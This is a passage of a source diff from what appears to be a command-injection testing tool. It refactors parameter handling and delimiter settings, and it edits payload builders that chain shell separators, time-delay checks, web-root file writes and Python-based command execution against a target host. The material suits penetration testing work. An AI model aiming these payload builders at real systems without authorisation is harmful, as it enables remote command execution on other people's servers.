+ settings.CMD_SUB_SUFFIX ) - separator = _urllib.parse.unquote(separator) + + # separator = _urllib.parse.unquote(separator) + elif separator == "||" : pipe = "|" payload = (pipe + @@ -512,7 +543,9 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt else: pass - payload = checks.payload_newline_fixation(payload) - return payload + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.payload_newline_fixation(payload) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 76a9d8bda7..c696adb670 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -83,7 +83,7 @@ def check_waf(url, http_request_method): if not "?" in url: payload = "?" + payload else: - payload = settings.PARAMETER_DELIMITER + payload + payload = settings.POST_DATA_PARAM_DELIMITER + payload url = url + payload if settings.USER_DEFINED_POST_DATA: request = _urllib.request.Request(remove_tags(url), remove_tags(settings.USER_DEFINED_POST_DATA).encode(), method=http_request_method) @@ -138,17 +138,17 @@ def get_response(output): Check for non custom parameters. """ def process_non_custom(): - if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM: + if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM_PARAMS: while True: message = "Other non-custom parameters found." message += " Do you want to process them too? [Y/n] > " process = common.read_input(message, default="Y", check_batch=True) if process in settings.CHOICE_YES: settings.CUSTOM_INJECTION_MARKER = False - settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False + settings.SKIP_NON_CUSTOM_PARAMS = settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_NO: - settings.SKIP_NON_CUSTOM = True + settings.SKIP_NON_CUSTOM_PARAMS = True settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_QUIT: @@ -211,7 +211,7 @@ def custom_injection_marker_character(url, http_request_method): option = str(http_request_method) + " body" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True if not _: - option = "option '--headers/--user-agent/--referer/--cookie'" + option = "option '--header(s)/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True if menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: @@ -220,12 +220,15 @@ def custom_injection_marker_character(url, http_request_method): settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True if menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True + if (menu.options.header and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.header) or \ + (menu.options.headers and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.headers): + settings.CUSTOM_INJECTION_MARKER = True if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: settings.CUSTOM_INJECTION_MARKER = True else: settings.CUSTOM_HEADER_INJECTION = True - return False + # return False if settings.CUSTOM_INJECTION_MARKER: while True: @@ -398,11 +401,11 @@ def not_declared_cookies(response): if _: if _.group(1).split("=")[0] not in menu.options.cookie: set_cookie_header.append(_.group(1)) - candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_header) + candidate = settings.COOKIE_PARAM_DELIMITER.join(str(value) for value in set_cookie_header) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True if menu.options.cookie: - menu.options.cookie = menu.options.cookie + settings.COOKIE_DELIMITER + candidate + menu.options.cookie = menu.options.cookie + settings.COOKIE_PARAM_DELIMITER + candidate settings.DECLARED_COOKIES = False else: if settings.CRAWLED_SKIPPED_URLS_NUM != 0: @@ -604,6 +607,7 @@ def payload_newline_fixation(payload): payload = payload.replace("\n","%0d") return payload + """ Fix for %0a, %0d%0a separators """ @@ -619,6 +623,7 @@ def newline_fixation(payload): payload = payload.replace(settings.END_LINE.LF,"%0a") return payload + """ Page enc/decoding """ @@ -1436,8 +1441,8 @@ def testable_parameters(url, check_parameters, header_name): if settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: if menu.options.cookie != None: - if settings.COOKIE_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) + if settings.COOKIE_PARAM_DELIMITER in menu.options.cookie: + cookies = menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER) for cookie in cookies: if cookie.split("=")[0].strip() in menu.options.test_parameter: try: @@ -2008,10 +2013,11 @@ def is_empty(multi_parameters, http_request_method): multi_params = [s for s in multi_parameters] if settings.IS_JSON: try: - multi_params = ','.join(multi_params) - if is_JSON_check(multi_params): - json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) - multi_params = flatten(json_data) + multi_params = flatten(json.loads(','.join(multi_params), object_pairs_hook=OrderedDict)) if is_JSON_check(','.join(multi_params)) else multi_params + # multi_params = ','.join(multi_params) + # if is_JSON_check(multi_params): + # json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) + # multi_params = flatten(json_data) except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -2118,17 +2124,15 @@ def check_similarities(all_params): if settings.IS_JSON: try: _ = "".join(random.sample(string.ascii_uppercase, k=6)) - all_params = ','.join(all_params) - json_data = json.loads(all_params, object_pairs_hook=OrderedDict) - all_params = flatten(json_data) + all_params = flatten(json.loads(','.join(all_params), object_pairs_hook=OrderedDict)) for param in all_params: if isinstance(all_params[param], str): if all_params[param] in param: all_params[param] = all_params[param] + settings.RANDOM_TAG if settings.SINGLE_WHITESPACE in all_params[param]: all_params[param] = all_params[param].replace(settings.SINGLE_WHITESPACE, _) - all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_ ,settings.SINGLE_WHITESPACE) for x in json.dumps(all_params).split(", ")] - except Exception as e: + all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(_, settings.SINGLE_WHITESPACE) for x in json.dumps(all_params).split(", ")] + except Exception: pass else: for param in range(0, len(all_params)): diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 5104f21334..432ef88adb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -353,7 +353,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) - if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: + if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not http_request_method + ":" + check_parameter in settings.TESTED_PARAMETERS_LIST: settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER if not settings.LOAD_SESSION: @@ -415,8 +415,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # All injection techniques seems to be failed! if checks.injection_techniques_status() == False: - warn_msg = "The tested " - warn_msg += settings.CHECKING_PARAMETER + warn_msg = settings.CHECKING_PARAMETER warn_msg += " does not seem to be injectable." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) else: @@ -518,62 +517,120 @@ def cookie_injection(url, http_request_method, filename, timesec): # Disable cookie injection settings.COOKIE_INJECTION = False +""" +Remove parameters containing the injection tag from the testable parameters list. +""" +def filtered_testable_parameters(): + settings.TESTABLE_PARAMETERS_LIST = [ + param for param in settings.TESTABLE_PARAMETERS_LIST + if settings.INJECT_TAG not in param] + return settings.TESTABLE_PARAMETERS_LIST """ -Perform the injection proccess +Process a list of parameters to test for injection vulnerabilities. """ def do_injection(found, data_type, header_name, url, http_request_method, filename, timesec): - def define_check_parameter(found, i, url): + """ + Validate parameter names using allowed characters: + letters, digits, underscores, hyphens, dots, and square brackets. + """ + def is_valid_param_name(name): + if not isinstance(name, str): + return False + name = name.strip() + if not name: + return False + return bool(re.match(r'^[a-zA-Z0-9._\-\[\]]+$', name)) + + """ + Define the check parameter based on the data type (POST, GET, COOKIE). + """ + def define_check_parameter(param, current_url): if data_type == settings.HTTPMETHOD.POST: - menu.options.data = found[i] - check_parameter = parameters.vuln_POST_param(found[i], url) - if data_type == settings.HTTPMETHOD.GET: - url = found[i] - check_parameter = parameters.vuln_GET_param(url) - if data_type == settings.COOKIE: - menu.options.cookie = found[i] - check_parameter = parameters.specify_cookie_parameter(found[i]) - return url, check_parameter - - # Check if multiple parameters + menu.options.data = param + check_param = parameters.vuln_POST_param(param, current_url) + elif data_type == settings.HTTPMETHOD.GET: + current_url = param + check_param = parameters.vuln_GET_param(current_url) + elif data_type == settings.COOKIE: + menu.options.cookie = param + check_param = parameters.specify_cookie_parameter(param) + else: + check_param = "" + return current_url, check_param + + """ + Return a unique identifier for the parameter by prefixing it with the data type. + """ + def get_contextual_name(check_param): + return str(data_type) + ":" + str(check_param) + + """ + Perform the injection call and update tested parameters. + """ + def injection_call(url, check_param): + contextual_name = get_contextual_name(check_param) + url, check_param = define_check_parameter(found[index], url) + url, check_param = check_for_stored_sessions(url, check_param, http_request_method) + injection_proccess(url, check_param, http_request_method, filename, timesec) + settings.TESTED_PARAMETERS_LIST.append(contextual_name) + check_parameters = [] - for i in range(0, len(found)): - url, check_parameter = define_check_parameter(found, i, url) - check_parameters.append(check_parameter) + param_mapping = {} + + # Filter and validate parameters to prepare for injection tests + for param in found: + url, check_param = define_check_parameter(param, url) + if not check_param: + continue + contextual_name = get_contextual_name(check_param) + if contextual_name in settings.TESTED_PARAMETERS_LIST: + continue + if not is_valid_param_name(check_param): + continue + check_parameters.append(check_param) + param_mapping[check_param] = param + + # Prepare testable parameters checks.testable_parameters(url, check_parameters, header_name) - - for i in range(0, len(found)): - url, check_parameter = define_check_parameter(found, i, url) - if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - if len(settings.TESTABLE_PARAMETER) > 0: - if settings.TESTABLE_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER: - counter = 0 - for check_parameter in check_parameters: - if settings.TESTABLE_PARAMETERS_LIST.count(check_parameter) != 0: - url, check_parameter = define_check_parameter(found, counter, url) - url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - counter += 1 - break - elif settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and settings.CUSTOM_INJECTION_MARKER: - counter = 0 - for check_parameter in check_parameters: - if settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.count(check_parameter) != 0: - url, check_parameter = define_check_parameter(found, counter, url) - url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - counter += 1 - break - else: - if not (check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER): - url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + + # Exclude parameters that already contain the inject tag + base_params = { + param for param in settings.TESTABLE_PARAMETERS_LIST + if settings.INJECT_TAG not in param + } + + # Add custom marker parameters if enabled + custom_params = set(settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST) \ + if settings.CUSTOM_INJECTION_MARKER else set() + + # Final set of injection targets + injection_targets = base_params.union(custom_params) + + for check_param in check_parameters: + contextual_name = get_contextual_name(check_param) + if contextual_name in settings.TESTED_PARAMETERS_LIST: + continue + + try: + original_param = param_mapping[check_param] + index = found.index(original_param) + except (KeyError, ValueError): + continue + + settings.TESTABLE_PARAMETER = check_param + + if settings.USER_DEFINED_POST_DATA: + active_targets = injection_targets + else: + if any(param in injection_targets for param in check_parameters): + active_targets = injection_targets else: - url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + active_targets = check_parameters + + if check_param in active_targets or not filtered_testable_parameters(): + injection_call(url, check_param) """ Check if HTTP Method is GET. @@ -618,12 +675,12 @@ def data_checks(url, http_request_method, filename, timesec): init_cookie_injection_status() if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: if post_request(url, http_request_method, filename, timesec) is None: - if not settings.SKIP_NON_CUSTOM: + if not settings.SKIP_NON_CUSTOM_PARAMS: get_request(url, http_request_method, filename, timesec) else: if get_request(url, http_request_method, filename, timesec) is None: if settings.USER_DEFINED_POST_DATA: - if not settings.SKIP_NON_CUSTOM: + if not settings.SKIP_NON_CUSTOM_PARAMS: post_request(url, http_request_method, filename, timesec) """ @@ -633,7 +690,7 @@ def cookies_checks(url, http_request_method, filename, timesec): if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in str(menu.options.cookie)]) != 0 or \ settings.INJECTION_MARKER_LOCATION.COOKIE or \ settings.COOKIE_INJECTION: - if not settings.SKIP_NON_CUSTOM: + if not settings.SKIP_NON_CUSTOM_PARAMS: cookie_injection(url, http_request_method, filename, timesec) """ @@ -643,7 +700,7 @@ def headers_checks(url, http_request_method, filename, timesec): if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in settings.HTTP_HEADERS]) != 0 or \ settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or \ settings.HTTP_HEADERS_INJECTION: - if not settings.SKIP_NON_CUSTOM: + if not settings.SKIP_NON_CUSTOM_PARAMS: http_headers_injection(url, http_request_method, filename, timesec) """ @@ -711,7 +768,7 @@ def perform_checks(url, http_request_method, filename): settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL proceed_non_custom = True - + # Perform custom marker-based checks if custom injection marker is enabled. if settings.CUSTOM_INJECTION_MARKER: proceed_non_custom = False @@ -733,16 +790,17 @@ def perform_checks(url, http_request_method, filename): if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: custom_headers_checks(url, http_request_method, filename, timesec) - # If parameters or POST data are present, and marker is in URL or DATA, - # perform remaining non-custom checks for completeness. - if (settings.TESTABLE_PARAMETERS_LIST or \ - len(settings.USER_DEFINED_POST_DATA) != 0) and \ - (settings.INJECTION_MARKER_LOCATION.URL or \ - settings.INJECTION_MARKER_LOCATION.DATA): + # Check if the injection marker is set in either URL or POST data (but not both) + has_exclusive_marker = settings.INJECTION_MARKER_LOCATION.URL ^ settings.INJECTION_MARKER_LOCATION.DATA + # Check if no injection marker is set in either URL or POST data + has_no_marker = not settings.INJECTION_MARKER_LOCATION.URL and not settings.INJECTION_MARKER_LOCATION.DATA + # If there’s user POST data and an exclusive marker, or no marker at all, + # and no testable GET parameters, proceed with non-custom checks + if has_exclusive_marker or has_no_marker: checks.process_non_custom() # Perform default (non-custom) injection checks if not explicitly skipped. - if not settings.SKIP_NON_CUSTOM: + if not settings.SKIP_NON_CUSTOM_PARAMS: # Disable custom injection mode before running default checks. settings.CUSTOM_INJECTION_MARKER = False diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 58bf283136..4de436332d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -52,6 +52,10 @@ def decision(separator, TAG, randv1, randv2): math_calc + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG ) + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -83,6 +87,10 @@ def decision_alter_shell(separator, TAG, randv1, randv2): TAG + "'%2B'" + TAG + "')\"" ) + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -109,6 +117,10 @@ def cmd_execution(separator, TAG, cmd): cmd_exec + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG ) + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -136,6 +148,10 @@ def cmd_execution_alter_shell(separator, TAG, cmd): " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "'%2B'" + TAG + "'%2B'" + TAG + "')\"" ) + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload # eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index e6045a2dae..6272e6a2d3 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -38,6 +38,9 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -56,6 +59,10 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + # New line fixation if settings.USER_AGENT_INJECTION == True or \ settings.REFERER_INJECTION == True or \ settings.HOST_INJECTION == True or \ @@ -86,6 +93,10 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -111,6 +122,9 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + # New line fixation if settings.USER_AGENT_INJECTION == True or \ settings.REFERER_INJECTION == True or \ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index f9a6b1d0e0..2902c0e7e9 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -87,6 +87,9 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -139,7 +142,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - separator = _urllib.parse.unquote(separator) + # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + @@ -151,8 +154,10 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque else: pass - payload = checks.payload_newline_fixation(payload) - return payload + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.payload_newline_fixation(payload) """ Execute shell commands on vulnerable host. @@ -229,7 +234,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + "1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) - separator = _urllib.parse.unquote(separator) + # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" cmd = cmd.rstrip() @@ -243,6 +248,9 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -299,7 +307,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ] " + separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) - separator = _urllib.parse.unquote(separator) + # separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" payload = (pipe + @@ -310,8 +318,10 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ else: pass - payload = checks.payload_newline_fixation(payload) - return payload + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.payload_newline_fixation(payload) """ Get the execution output, of shell execution. @@ -372,6 +382,9 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -429,9 +442,10 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t else: pass - # New line fixation - payload = checks.payload_newline_fixation(payload) - return payload + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.payload_newline_fixation(payload) """ Get the execution output, of shell execution. @@ -486,6 +500,9 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: pass + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + return payload """ @@ -541,8 +558,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, else: pass - # New line fixation - payload = checks.payload_newline_fixation(payload) - return payload + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.payload_newline_fixation(payload) # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 5416995e07..97d7c57916 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -256,35 +256,33 @@ def url_response(url, http_request_method): return response, url """ -Initializing injection status. +Initialize injection-related settings and state. """ def init_injection(url): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Initializing the knowledge base." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - # Initiate heuristic checks. - if not settings.FOLLOW_REDIRECT: - settings.FOLLOW_REDIRECT = True - if settings.SKIP_CODE_INJECTIONS: - settings.SKIP_CODE_INJECTIONS = False - if settings.SKIP_COMMAND_INJECTIONS: - settings.SKIP_COMMAND_INJECTIONS = False - # Initiate injection checker. - if settings.INJECTION_CHECKER: - settings.INJECTION_CHECKER = False - # Initiate exploitation techniques states. - if settings.INJECTION_CHECKER: - settings.CLASSIC_STATE = False - if settings.EVAL_BASED_STATE: - settings.EVAL_BASED_STATE = False - if settings.TIME_BASED_STATE: - settings.TIME_BASED_STATE = False - if settings.FILE_BASED_STATE: - settings.FILE_BASED_STATE = False - if settings.TEMPFILE_BASED_STATE: - settings.TEMPFILE_BASED_STATE = False - if settings.TIME_RELATED_ATTACK: - settings.TIME_RELATED_ATTACK = False + + # Ensure redirection is followed and core injection paths are enabled + settings.FOLLOW_REDIRECT = True + settings.SKIP_CODE_INJECTIONS = False + settings.SKIP_COMMAND_INJECTIONS = False + + # Reset injection checker and technique flags + settings.INJECTION_CHECKER = False + settings.CLASSIC_STATE = False + settings.EVAL_BASED_STATE = False + settings.TIME_BASED_STATE = False + settings.FILE_BASED_STATE = False + settings.TEMPFILE_BASED_STATE = False + settings.TIME_RELATED_ATTACK = False + + # Reset custom and temporary settings + settings.TESTED_PARAMETERS_LIST = [] + settings.SKIP_NON_CUSTOM_PARAMS = None + settings.CUSTOM_INJECTION_MARKER = None + settings.CUSTOM_FILENAME = "" + """ Using 'stdin' for parsing targets. @@ -408,7 +406,7 @@ def main(filename, url, http_request_method): # Check if defined character used for splitting cookie values. if menu.options.cdel: - settings.COOKIE_DELIMITER = menu.options.cdel + settings.COOKIE_PARAM_DELIMITER = menu.options.cdel if menu.options.tech and settings.USER_APPLIED_TECHNIQUE != None: settings.USER_APPLIED_TECHNIQUE = True @@ -527,7 +525,6 @@ def main(filename, url, http_request_method): requests.application_identification(url) # Specifies the technology supporting the web application requests.technology_identification(response) - # Procedure for target server's operating system identification. if not settings.IDENTIFIED_TARGET_OS: requests.os_identification(response) @@ -889,13 +886,13 @@ def main(filename, url, http_request_method): settings.USER_DEFINED_POST_DATA = menu.options.data # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: - settings.PARAMETER_DELIMITER = menu.options.pdel + settings.POST_DATA_PARAM_DELIMITER = menu.options.pdel else: # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: - settings.PARAMETER_DELIMITER = menu.options.pdel + settings.URL_PARAM_DELIMITER = menu.options.pdel + http_request_method = checks.check_http_method(url) - if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: settings.INIT_TEST = True diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 8338edeb46..481e24b463 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -51,7 +51,7 @@ def encode_non_ascii_url(request): # Encode path, preserving '/', '*', and '%' to avoid over-encoding path = _urllib.parse.quote(parts.path, safe="*%/") # Encode query string, preserving delimiters and configured parameter delimiter - query = _urllib.parse.quote(parts.query, safe="*=?/%" + settings.PARAMETER_DELIMITER) + query = _urllib.parse.quote(parts.query, safe="*=?/%" + settings.URL_PARAM_DELIMITER) # Reconstruct the full URL with encoded path and query request.full_url = _urllib.parse.urlunsplit((parts.scheme, parts.netloc, path, query, parts.fragment)) @@ -432,10 +432,14 @@ def do_check(request): if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: if not settings.CUSTOM_HEADER_INJECTION: if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: + settings.CUSTOM_INJECTION_MARKER = True settings.CUSTOM_HEADER_CHECK = http_header_name - # settings.CUSTOM_INJECTION_MARKER = True - if http_header_name in settings.TESTABLE_PARAMETERS_LIST or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: + if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value or \ + http_header_name in settings.TESTABLE_PARAMETERS_LIST or \ + settings.INJECT_TAG in http_header_value or \ + settings.ASTERISK_MARKER in http_header_value: + settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True settings.CUSTOM_HEADER_CHECK = http_header_name if len(http_header_name) != 0 and \ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d871c71be0..5d3b7ff1a6 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -47,11 +47,11 @@ def multi_params_get_value(parameter): value = ''.join(value) return value - if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM: + if settings.CUSTOM_INJECTION_MARKER and settings.SKIP_NON_CUSTOM_PARAMS: return False if settings.USER_DEFINED_POST_DATA: - if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM: + if settings.CUSTOM_INJECTION_MARKER_CHAR in settings.USER_DEFINED_POST_DATA and settings.SKIP_NON_CUSTOM_PARAMS: return False if settings.INJECT_TAG in url: settings.IGNORE_USER_DEFINED_POST_DATA = True @@ -85,7 +85,7 @@ def multi_params_get_value(parameter): parameters = url.split("?")[1] # Split parameters try: - multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) + multi_parameters = parameters.split(settings.URL_PARAM_DELIMITER) multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -126,8 +126,8 @@ def multi_params_get_value(parameter): return urls_list else: # Check if multiple parameters are supplied without the "INJECT_HERE" tag. - all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) - all_params = all_params.split(settings.PARAMETER_DELIMITER) + all_params = settings.URL_PARAM_DELIMITER.join(multi_parameters) + all_params = all_params.split(settings.URL_PARAM_DELIMITER) # Check for similarity in provided parameter name and value. all_params = checks.check_similarities(all_params) # Check if defined the "INJECT_HERE" tag @@ -158,7 +158,7 @@ def multi_params_get_value(parameter): if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") - parameter = settings.PARAMETER_DELIMITER.join(all_params) + parameter = settings.URL_PARAM_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") @@ -166,7 +166,7 @@ def multi_params_get_value(parameter): else: for param in range(0,len(multi_parameters)): value = multi_params_get_value(multi_parameters[param]) - parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) + parameter = settings.URL_PARAM_DELIMITER.join(multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter url = url.replace(settings.RANDOM_TAG, "") @@ -185,9 